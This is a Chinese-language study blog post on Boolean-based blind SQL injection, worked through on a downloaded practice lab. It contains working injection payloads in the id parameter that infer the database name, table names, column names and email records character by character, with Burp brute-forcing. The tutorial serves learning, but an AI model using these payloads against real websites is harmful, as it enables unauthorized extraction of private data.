SQL注入之布尔盲注
本人记录这些为了学习的同时,能够有很好的记录,所谓好记性不如烂笔头,同时发布出来,也是希望大家有朋友学习到这里想上网搜索一些东西,以便借用和探讨一些问题,总之,不断学习!!
自我修养:没有一个系统是安全的
理解
*布尔盲注就是:只有两种状态:ture or false,当在地址栏输入查询语句时,对应的结果只有这两种状态,也就是他没有回显位置,那么要如何去知晓它的更深的信息呢?*
盲注需要用到的函数
*length() 返回字符串长度
substr() 截取字符串
ascii() 返回字符串的ascii码
sleep() 将程序执行延迟 . ()/秒
if(exp1,exp2,exp3) 如果第一个正确,就执行第二个,否则执行第三个*
实例讲解
这里我用的是网上下载的sql注入练习靶场。
**这里很清楚的能看到,他提升我们输入ID,那我们就一步一步的拿到这个靶场的后台数据库信息 **
-
输入?id=1,发现出现以下界面:
那么我们就知道这个界面没有返回回显点,当我们输入错误时,他什么也不显示,那我们就知道这个是个盲注模型了 -
首先判断数据库名的字符串长度,这里我是一个一个盲测试弄出来的,如果有小伙伴有更好的,可以评论,我也好好学习。 **?id=1’ and (length(database())=8) --+ ** 得出这个数据库名字字符串长度为8
以下执行成功都是如图所示 you are in…,我就不截图了
-
来就是用burp来爆破这8个字符分别是什么,burp的使用大家可以网上搜,像软件的使用教程网上还是多。那么再使用前,我们要用到函数substr()和ascii()两个函数,以及ascii表.。_
这里我做第一个字符,后面以此类推,
**?id=1’ and (ascii(substr(database(),1,1))=115) --+ **
这个1,1是指从第一个字符截取一个字符,这里查ascii表得知115为s,就可以慢慢得知名字s… -
- 字security之后,我们就需要拿他的表名*
?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101) --+
这里的limit 0,1是指选取第一个表名,后面以此类推
- 字security之后,我们就需要拿他的表名*
-
拿到表名自然就可以拿表里的属性名了
?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=105) --+ -
有了属性名自然就可以拿到里面的用户信息了
?id=1’ and (ascii(substr((select id from emails limit 0,1),1,1))=49) --+
?id=1’ and (ascii(substr((select email_id from emails limit 0,1),1,1))=68) --+
今天的学习就到这里,持续学习中